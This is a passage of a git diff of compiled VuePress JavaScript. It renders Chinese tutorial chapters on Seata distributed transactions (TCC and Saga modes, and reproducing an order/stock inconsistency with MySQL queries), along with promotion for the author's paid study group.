"),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("AUTO_INCREMENT")]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("DEFAULT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("CHARSET")]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("utf8"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br"),a("span",{staticClass:"line-number"},[t._v("2")]),a("br"),a("span",{staticClass:"line-number"},[t._v("3")]),a("br"),a("span",{staticClass:"line-number"},[t._v("4")]),a("br"),a("span",{staticClass:"line-number"},[t._v("5")]),a("br"),a("span",{staticClass:"line-number"},[t._v("6")]),a("br"),a("span",{staticClass:"line-number"},[t._v("7")]),a("br"),a("span",{staticClass:"line-number"},[t._v("8")]),a("br"),a("span",{staticClass:"line-number"},[t._v("9")]),a("br"),a("span",{staticClass:"line-number"},[t._v("10")]),a("br"),a("span",{staticClass:"line-number"},[t._v("11")]),a("br"),a("span",{staticClass:"line-number"},[t._v("12")]),a("br"),a("span",{staticClass:"line-number"},[t._v("13")]),a("br")])]),a("h3",{attrs:{id:"tcc-模式"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#tcc-模式"}},[t._v("#")]),t._v(" TCC 模式")]),t._v(" "),a("p",[t._v("回顾总览中的描述:一个分布式的全局事务,整体是 "),a("strong",[t._v("两阶段提交")]),t._v(" 的模型。全局事务是由若干分支事务组成的,分支事务要满足 "),a("strong",[t._v("两阶段提交")]),t._v(" 的模型要求,即需要每个分支事务都具备自己的:")]),t._v(" "),a("ul",[a("li",[t._v("一阶段 prepare 行为")]),t._v(" "),a("li",[t._v("二阶段 commit 或 rollback 行为")])]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-006.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("根据两阶段行为模式的不同,我们将分支事务划分为 "),a("strong",[t._v("Automatic (Branch) Transaction Mode")]),t._v(" 和 "),a("strong",[t._v("Manual (Branch) Transaction Mode")]),t._v(".")]),t._v(" "),a("p",[t._v("AT 模式("),a("a",{attrs:{href:"https://seata.io/zh-cn/docs/overview/what-is-seata.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("参考链接 TBD"),a("OutboundLink")],1),t._v(")基于 "),a("strong",[t._v("支持本地 ACID 事务")]),t._v(" 的 "),a("strong",[t._v("关系型数据库")]),t._v(":")]),t._v(" "),a("ul",[a("li",[t._v("一阶段 prepare 行为:在本地事务中,一并提交业务数据更新和相应回滚日志记录。")]),t._v(" "),a("li",[t._v("二阶段 commit 行为:马上成功结束,"),a("strong",[t._v("自动")]),t._v(" 异步批量清理回滚日志。")]),t._v(" "),a("li",[t._v("二阶段 rollback 行为:通过回滚日志,"),a("strong",[t._v("自动")]),t._v(" 生成补偿操作,完成数据回滚。")])]),t._v(" "),a("p",[t._v("相应的,TCC 模式,不依赖于底层数据资源的事务支持:")]),t._v(" "),a("ul",[a("li",[t._v("一阶段 prepare 行为:调用 "),a("strong",[t._v("自定义")]),t._v(" 的 prepare 逻辑。")]),t._v(" "),a("li",[t._v("二阶段 commit 行为:调用 "),a("strong",[t._v("自定义")]),t._v(" 的 commit 逻辑。")]),t._v(" "),a("li",[t._v("二阶段 rollback 行为:调用 "),a("strong",[t._v("自定义")]),t._v(" 的 rollback 逻辑。")])]),t._v(" "),a("p",[t._v("所谓 TCC 模式,是指支持把 "),a("strong",[t._v("自定义")]),t._v(" 的分支事务纳入到全局事务的管理中。")]),t._v(" "),a("h3",{attrs:{id:"saga-模式"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#saga-模式"}},[t._v("#")]),t._v(" Saga 模式")]),t._v(" "),a("p",[t._v("Saga模式是SEATA提供的长事务解决方案,在Saga模式中,业务流程中每个参与者都提交本地事务,当出现某一个参与者失败则补偿前面已经成功的参与者,一阶段正向服务和二阶段补偿服务都由业务开发实现。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-007.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("理论基础:Hector & Kenneth 发表论⽂ Sagas (1987)")]),t._v(" "),a("h4",{attrs:{id:"适用场景"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#适用场景"}},[t._v("#")]),t._v(" 适用场景")]),t._v(" "),a("ul",[a("li",[t._v("业务流程长、业务流程多")]),t._v(" "),a("li",[t._v("参与者包含其它公司或遗留系统服务,无法提供 TCC 模式要求的三个接口")])]),t._v(" "),a("h4",{attrs:{id:"优势"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#优势"}},[t._v("#")]),t._v(" 优势")]),t._v(" "),a("ul",[a("li",[t._v("一阶段提交本地事务,无锁,高性能")]),t._v(" "),a("li",[t._v("事件驱动架构,参与者可异步执行,高吞吐")]),t._v(" "),a("li",[t._v("补偿服务易于实现")])]),t._v(" "),a("h4",{attrs:{id:"缺点"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#缺点"}},[t._v("#")]),t._v(" 缺点")]),t._v(" "),a("ul",[a("li",[t._v("不保证隔离性")])]),t._v(" "),a("p",[a("strong",[t._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),t._v(" "),a("p",[a("strong",[t._v("另外,一不小心就写了24章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),t._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[t._v("#")]),t._v(" 关于星球")]),t._v(" "),a("p",[t._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),t._v(" "),a("p",[t._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),t._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[t._v("#")]),t._v(" 星球提供的服务")]),t._v(" "),a("p",[t._v("冰河整理了星球提供的一些服务,如下所示。")]),t._v(" "),a("p",[t._v("加入星球,你将获得:")]),t._v(" "),a("p",[t._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),t._v(" "),a("p",[t._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),t._v(" "),a("p",[t._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),t._v(" "),a("p",[t._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),t._v(" "),a("p",[t._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),t._v(" "),a("p",[t._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),t._v(" "),a("p",[t._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),t._v(" "),a("p",[t._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),t._v(" "),a("p",[t._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),t._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[t._v("#")]),t._v(" 星球门票价格")]),t._v(" "),a("p",[t._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),t._v(" "),a("p",[a("strong",[t._v("特别提醒:")]),t._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),t._v(" "),a("p",[t._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[t._v("冰河技术")]),t._v(" 公众号回复 “ "),a("strong",[t._v("星球")]),t._v(" ” ,领取入场优惠券。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),t._v(" "),a("p",[a("strong",[t._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),t._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[t._v("#")]),t._v(" 写在最后")]),t._v(" "),a("blockquote",[a("p",[t._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=r.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-337.js b/assets/js/cg-337.js index 8e7891160576c379b17c16cb1b0f3325cc9d4dd4..841a86874206164612cc718336d61809c6c675ee 100644 --- a/assets/js/cg-337.js +++ b/assets/js/cg-337.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[337],{626:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第25章-分布式事务-项目整合seata实现分布式事务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第25章-分布式事务-项目整合seata实现分布式事务"}},[s._v("#")]),s._v(" SA实战 ·《SpringCloud Alibaba实战》第25章-分布式事务:项目整合Seata实现分布式事务")]),s._v(" "),a("p",[a("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),a("blockquote",[a("p",[s._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏都更新到第25章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),s._v(" "),a("p",[s._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),a("OutboundLink")],1)]),s._v(" 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("h2",{attrs:{id:"前文回顾"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前文回顾"}},[s._v("#")]),s._v(" 前文回顾")]),s._v(" "),a("p",[s._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),s._v(" "),a("p",[s._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),s._v(" "),a("p",[s._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ,并给大家介绍了RocketMQ的核心技术。")]),s._v(" "),a("p",[s._v("在服务配置章节,我们首先介绍了服务配置与Nacos作为配置中心的相关概念,并在项目中整合了Nacos配置中心。接下来,又基于Nacos实现了动态刷新与配置共享。")]),s._v(" "),a("p",[s._v("在分布式事务篇章,我们简单介绍了分布式事务的核心原理与SpringCloud Alibaba技术栈中的Seata框架。接下来,我们就在项目中整合Seata框架实现分布式事务。")]),s._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[s._v("#")]),s._v(" 本章总览")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-013","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-013.png",loading:"lazy"}})]),s._v(" "),a("h2",{attrs:{id:"分布式事务问题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分布式事务问题"}},[s._v("#")]),s._v(" 分布式事务问题")]),s._v(" "),a("p",[s._v("细心的小伙伴会发现,目前,我们的项目中是不支持分布式事务的。也就是说,如果我们调用订单微服务的下单接口提交订单,如果扣减库存失败了,订单依然会写入订单数据表,这是一种典型的分布式事务问题。")]),s._v(" "),a("h3",{attrs:{id:"查询数据表数据"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查询数据表数据"}},[s._v("#")]),s._v(" 查询数据表数据")]),s._v(" "),a("p",[s._v("(1)打开cmd终端,进入MySQL命令行,并进入shop商城数据库,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("C:\\Users\\binghe"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("mysql "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("uroot "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("p\nEnter password: "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v("\nWelcome "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" the MySQL monitor"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Commands "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("end")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("with")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" \\g"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\nYour MySQL connection id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("15")]),s._v("\nServer version: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5.7")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v(".35")]),s._v(" MySQL Community Server "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("GPL"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n\nCopyright "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("c"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2021")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" Oracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its affiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nOracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" a registered trademark "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" Oracle Corporation "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its\naffiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Other names may be trademarks "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" their respective\nowners"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'help;'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\h'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("for")]),s._v(" help"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\c'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" clear the "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("current")]),s._v(" input statement"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nmysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("use")]),s._v(" shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Database")]),s._v(" changed\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br")])]),a("p",[s._v("(2)查看商品数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_product"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_name "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_price "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_stock "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 华为 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2399.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1002")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 小米 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1003")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" iphone "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("4999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("rows")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("in")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br")])]),a("p",[s._v("这里,我们以id为1001的商品为例,此时发现商品的库存为100。")]),s._v(" "),a("p",[s._v("(3)查询订单数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以发现订单数据表为空。")]),s._v(" "),a("p",[s._v("(4)查询订单条目数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order_item"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单条目数据表为空。")]),s._v(" "),a("h3",{attrs:{id:"重现分布式事务问题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#重现分布式事务问题"}},[s._v("#")]),s._v(" 重现分布式事务问题")]),s._v(" "),a("p",[s._v("(1)复制商品微服务的"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl")]),s._v("类为"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV8Impl")]),s._v("类,后续的操作在"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV8Impl")]),s._v("类中进行,修改OrderServiceV8Impl类中上的@Service注解中的bean名称为orderServiceV8,并修改saveOrder()方法的代码。这里,只列出有改动的部分代码。")]),s._v(" "),a("p",[s._v("在saveOrder()方法中的扣减商品库存和发送RocketMQ消息之间加入一行代码"),a("code",[s._v("int i = 1 / 0;")]),s._v(",使其扣减库存成功后抛出异常。")]),s._v(" "),a("p",[s._v("修改前的部分代码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Result")]),a("span",{pre:!0,attrs:{class:"token generics"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Integer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" result "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" productService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token 